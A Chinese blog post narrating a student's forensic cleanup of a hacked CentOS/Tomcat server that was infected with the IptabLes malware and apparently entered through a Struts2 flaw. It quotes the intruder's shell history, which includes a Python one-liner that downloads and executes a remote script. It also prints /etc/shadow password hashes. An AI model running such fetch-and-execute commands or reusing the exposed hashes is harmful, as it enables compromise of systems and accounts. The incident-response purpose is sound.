去年有臺linux服務器被黑了,看了500萬行日志(現在覺得當時好厲害呀),反正當時的日志文件有700Mb以上大。前兩天師兄告訴我,信息中心的老師給他說我們有臺服務器應該是被人入侵了,當作內網的跳板,經常對內網中的其他服務器發出攻擊的數據。于是我連夜就去服務器上看了。
這是我第一次上這個服務器,什么情況都不知道,只知道這個服務器是Linux(尼瑪具體是什么發行版都要我去查),上面跑著一個網站。
進去之后,先看看是什么發行版的。CentOS6.5,以前都只玩的Ubuntu,換這個上面多多少少還有點陌生的。好了廢話不多說了。
再去看看什么網頁吧。cd /var/下面,沒有看到是www或者htdocs之類的目錄,不會是tomcat吧。搜索了一下,果然是。網頁內容先不看了,應該是已經提權成功了的。直接就去看看服務器算了。
寫文章的時候才意識到,我一開始不應該亂看其他的,應該先把.bash_history什么的先備份下才對。算是給自己提一個醒吧。
看看passwd和shadow:
[root@localhost /]# stat /etc/passwd File: "/etc/passwd" Size: 1723 Blocks: 8 IO Block: 4096 普通文件Device: fd00h/64768d Inode: 919098 Links: 1access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)Access: 2014-09-21 09:32:01.730288306 +0800Modify: 2014-04-02 09:31:28.469644869 +0800Change: 2014-04-02 09:31:28.503201786 +0800[root@localhost /]# stat /etc/shadow File: "/etc/shadow" Size: 1177 Blocks: 8 IO Block: 4096 普通文件Device: fd00h/64768d Inode: 919095 Links: 1Access: (0000/----------) Uid: ( 0/ root) Gid: ( 0/ root)Access: 2014-09-21 09:40:01.734126039 +0800Modify: 2014-04-02 09:38:11.473125883 +0800Change: 2014-04-02 09:38:11.498275087 +0800
看來是4月2號就入侵成功了呀。查看了下/home下的目錄,多了一個用戶。還是看看passwd吧。
[root@localhost /]#cat /etc/shadow
MySQL:!!:15791:::::: tomcat:!!:15791:::::: chu:$6$kG9zMTps$7H61NSjXMY3/Jc/tZrJtCuwFn1mhDyWXVg4blFghfLdbQNXr.6Li9tYt5fYVJsIlvwb0z68k/EQXsUljZK6.L0:15793:0:99999:7::: sqzr:$6$yBrvX/HDaim/vrK4$uArYMq6Zr2XM7BWTzexC16RI6HGmOp9cs65AgLR.v.yx3rN0M6YzblNCJytGsguFSbsGN18OPpcyrSG63fKKS.:16162:0:99999:7:::
passwd就不寫出來了。在passwd中,sqzr這個用戶后面的和root一樣,也就是root權限了。userdel sqzr提示不能刪除,當前已經登錄,尼瑪,這個用戶就是給root取了個別名吧。直接修改兩個文件,刪除這一行。用戶就算是清理了。
看下進程:
21911 ? 00:00:00 .IptabLex
21917 ? 00:00:00 .IptabLes
29093 ? 00:00:02 PRwpodebiq
這是什么,第一眼還以為是防火墻,可是多了一個,再一想,Linux下面要區分大小寫的,這東西不對勁。
百度了下,發現確實是個病毒,也有其他人中招了。
http://www.xujiansheng.cn/2014/01/linux-viruses-iptablex-iptables/
還有那個prwpodebiq,完全沒有意義的進程名,如此大的pid,肯定有問題。
[root@localhost /]# find / -name prwpodebiq -print/boot/prwpodebiq/etc/rc.d/init.d/prwpodebiq
[root@localhost /]# cd /boot/[root@localhost boot]# ll總用量 19858-rw-r--r--. 1 root root 97862 5月 20 2011 config-2.6.32-71.el6.x86_64drwxr-xr-x. 3 root root 1024 3月 27 2013 efidrwxr-xr-x. 2 root root 1024 3月 27 2013 grub-rw-r--r--. 1 root root 13419499 3月 27 2013 initramfs-2.6.32-71.el6.x86_64.imglrwxrwxrwx 1 root root 25 9月 16 22:31 IptabLes -> /etc/rc.d/init.d/IptabLeslrwxrwxrwx 1 root root 25 9月 16 22:31 IptabLex -> /etc/rc.d/init.d/IptabLexdrwx------. 2 root root 12288 3月 27 2013 lost+found-rwxr-x--- 1 root root 613533 9月 21 21:29 prwpodebiq-rw-r--r--. 1 root root 160542 5月 20 2011 symvers-2.6.32-71.el6.x86_64.gz-rw-r--r--. 1 root root 2226490 5月 20 2011 System.map-2.6.32-71.el6.x86_64-rwxr-xr-x. 1 root root 3791040 5月 20 2011 vmlinuz-2.6.32-71.el6.x86_64
[root@localhost boot]# stat prwpodebiq File: "prwpodebiq" Size: 613533 Blocks: 1200 IO Block: 1024 普通文件Device: 801h/2049d Inode: 22 Links: 1Access: (0750/-rwxr-x---) Uid: ( 0/ root) Gid: ( 0/ root)Access: 2014-09-21 23:16:18.000000000 +0800Modify: 2014-09-21 21:29:26.000000000 +0800Change: 2014-09-21 21:29:26.000000000 +0800
777的文件,定位到病毒了。
[root@localhost boot]# find / -name *IptabL* -print/boot/.IptabLes/boot/.IptabLex/etc/rc.d/rc4.d/S55IptabLes/etc/rc.d/rc4.d/S55IptabLex/etc/rc.d/rc2.d/S55IptabLes/etc/rc.d/rc2.d/S55IptabLex/etc/rc.d/rc3.d/S55IptabLes/etc/rc.d/rc3.d/S55IptabLex/etc/rc.d/rc5.d/S55IptabLes/etc/rc.d/rc5.d/S55IptabLex/usr/.IptabLes/usr/.IptabLex[root@localhost boot]# rm -rf `find / -name *IptabL*`
手動刪除了一部分,但東西太多了,直接用find刪除了。
此外用lsof看到了一些進程和/下的pid文件有關聯,于是直接刪除了。
# ll -a / (只顯示可疑的文件)-rw-r--r-- 1 root root 5 Jan 12 17:15 .mylisthb.pid-rw-r--r-- 1 root root 5 Jan 12 10:01 .mylisthbS.pid-rw-r--r-- 1 root root 5 Jan 12 10:01 .mylisthbSx.pid-rw-r--r-- 1 root root 5 Jan 12 16:57 .mylisthbx.pid
感覺已經解決問題了,ps -A 看看還有沒有問題。。。于是。。
3499 ? 00:00:00 sshd3505 ? 00:00:00 kdpiaqommj3506 pts/0 00:00:00 ps29093 ? 00:00:10 prwpodebiq29101 ? 00:00:00 flush-8:031327 ? 00:00:00 sshd31378 pts/0 00:00:06 bash
又出來一個kdpiaqommj和prwpodebiq,這種沒有什么意義的名字的進程。lsof之。發現又在/boot下,暈,kill后再rm一個。
再看一次進程,又出現了一個tieyhxjhkl。
[root@localhost bin]# lsof -p 5669COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAMEtieyhxjhk 5669 root cwd DIR 253,0 4096 1324611 /usr/local/tomcat/apache-tomcat-7.0.39/bintieyhxjhk 5669 root rtd DIR 253,0 4096 2 /tieyhxjhk 5669 root txt REG 8,1 613533 18 /boot/tieyhxjhkltieyhxjhk 5669 root 0u CHR 1,3 0t0 3569 /dev/nulltieyhxjhk 5669 root 1u CHR 1,3 0t0 3569 /dev/nulltieyhxjhk 5669 root 2u CHR 1,3 0t0 3569 /dev/nulltieyhxjhk 5669 root 3u IPv4 1445967634 0t0 TCP 這里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)
是反彈shell還是什么?
應該是還有文件被改了吧,去tomcat目錄中看看。
[root@localhost bin]# ll總用量 1828-rw-r--r-- 1 root root 28615 3月 22 2013 bootstrap.jar-rw-r--r-- 1 root root 461 5月 18 00:54 c:/2.vbs-rw-r--r-- 1 root root 13217 3月 22 2013 catalina.bat-rwxr-xr-x 1 root root 19276 3月 22 2013 catalina.sh-rw-r--r-- 1 root root 2121 3月 22 2013 catalina-tasks.xml-rw-r--r-- 1 root root 24281 3月 22 2013 commons-daemon.jar-rw-r--r-- 1 root root 202451 3月 22 2013 commons-daemon-native.tar.gz-rw-r--r-- 1 root root 2131 3月 22 2013 configtest.bat-rwxr-xr-x 1 root root 1982 3月 22 2013 configtest.sh-rw-r--r-- 1 root root 1342 3月 22 2013 cpappend.bat-rwxr-xr-x 1 root root 22987 5月 23 09:04 D32-rwxr-xr-x 1 root root 27805 5月 23 09:04 D64-rwxr-xr-x 1 root root 7492 3月 22 2013 daemon.sh-rw-r--r-- 1 root root 2178 3月 22 2013 digest.bat-rwxr-xr-x 1 root root 2021 3月 22 2013 digest.sh-rw-r--r-- 1 root root 1103207 7月 11 02:49 getsetup.hb.1-rw-r--r-- 1 root root 0 8月 5 16:19 ?????????·?? ????????pwd????-rw-r--r-- 1 root root 3264 3月 22 2013 setclasspath.bat-rwxr-xr-x 1 root root 3524 3月 22 2013 setclasspath.sh-rw-r--r-- 1 root root 2111 3月 22 2013 shutdown.bat-rwxr-xr-x 1 root root 1960 3月 22 2013 shutdown.sh-rw-r--r-- 1 root root 2112 3月 22 2013 startup.bat-rwxr-xr-x 1 root root 1961 3月 22 2013 startup.sh-rw-r--r-- 1 root root 38161 3月 22 2013 tomcat-juli.jar-rw-r--r-- 1 root root 288166 3月 22 2013 tomcat-native.tar.gz-rw-r--r-- 1 root root 4114 3月 22 2013 tool-wrapper.bat-rwxr-xr-x 1 root root 5086 3月 22 2013 tool-wrapper.sh-rw-r--r-- 1 root root 2116 3月 22 2013 version.bat-rwxr-xr-x 1 root root 1965 3月 22 2013 version.sh
紅字是tomcat中沒有的,刪除了。
然后kill。然后重啟服務器。
然后我就暈了,還有?。。。。?! 這次lsof的cwd直接是/了。而根下沒有什么東西了。
然后我發現,該進程是隨機產生名字,然后會生成兩個子進程,子進程也是隨機名字,并且只有2秒不到的存活期,kill不了。kill父進程,還會產生。同時會在/boot下生成自己的可執行文件。
通過netstat -anput 發現這個進程的功能應該是 TCP 這里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)。
tcp 0 1 這里是我的IP:41939 222.34.129.154:2804 SYN_SENT 1701/bash
這尼瑪好像就是反彈shell吧。
還是看看.bash_history吧。
973 find -name '*tomcat*' 974 find -name 'index.jsp' 975 ------------------------------ 976 find -name 'index.jsp' 977 ls 978 top 979 ls 980 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 981 python2 982 python 983 ls 984 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 985 wget www.baidu.com 986 cat index.html 987 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 988 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 --no-check-certificate 989 ls 990 tar -jxvf Python-2.7.tar.bz2 991 cd p 992 cd Python-2.7/ 993 dir 994 ./configure 995 make 996 make install 997 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 998 python -c "exec(__import__('urllib').urlopen('http://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 999 pip 1000 yum install python-zlib
他先安裝了python,然后去那個URL下了個腳本,網站看了下,是個hack網站,那就是提權和做后門了吧。想再看看還有什么的時候發現只能保存1000行?。。。?!
tail –100 /var/log/secure
看看安全信息,有公網IP拼命的在嘗試root的密碼,而且走的是ssh進來的。當然關閉ssh相信應該是可以的。我這因為目前公網上還需要用到ssh,所以只能在hosts.deny上進行阻止該公網IP進來。
東北大學網絡中心有常見的ssh攻擊的IP地址,及一個sh腳本:
網址:http://antivirus.neu.edu.cn/scan/ssh.php
阻止別人的ssh連接了,但是內部的 那個進程還是一直有,一直發著這個
TCP 這里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)
他應該用的應該是Struts2的漏洞進入服務器里的,但是留下的那個后門,我現在還沒有辦法解決,
Struts2的漏洞可以看這里:
http://struts.apache.org/release/2.3.x/docs/s2-016.html
至此,先到這里吧。最近還是再看看吧。
新聞熱點
疑難解答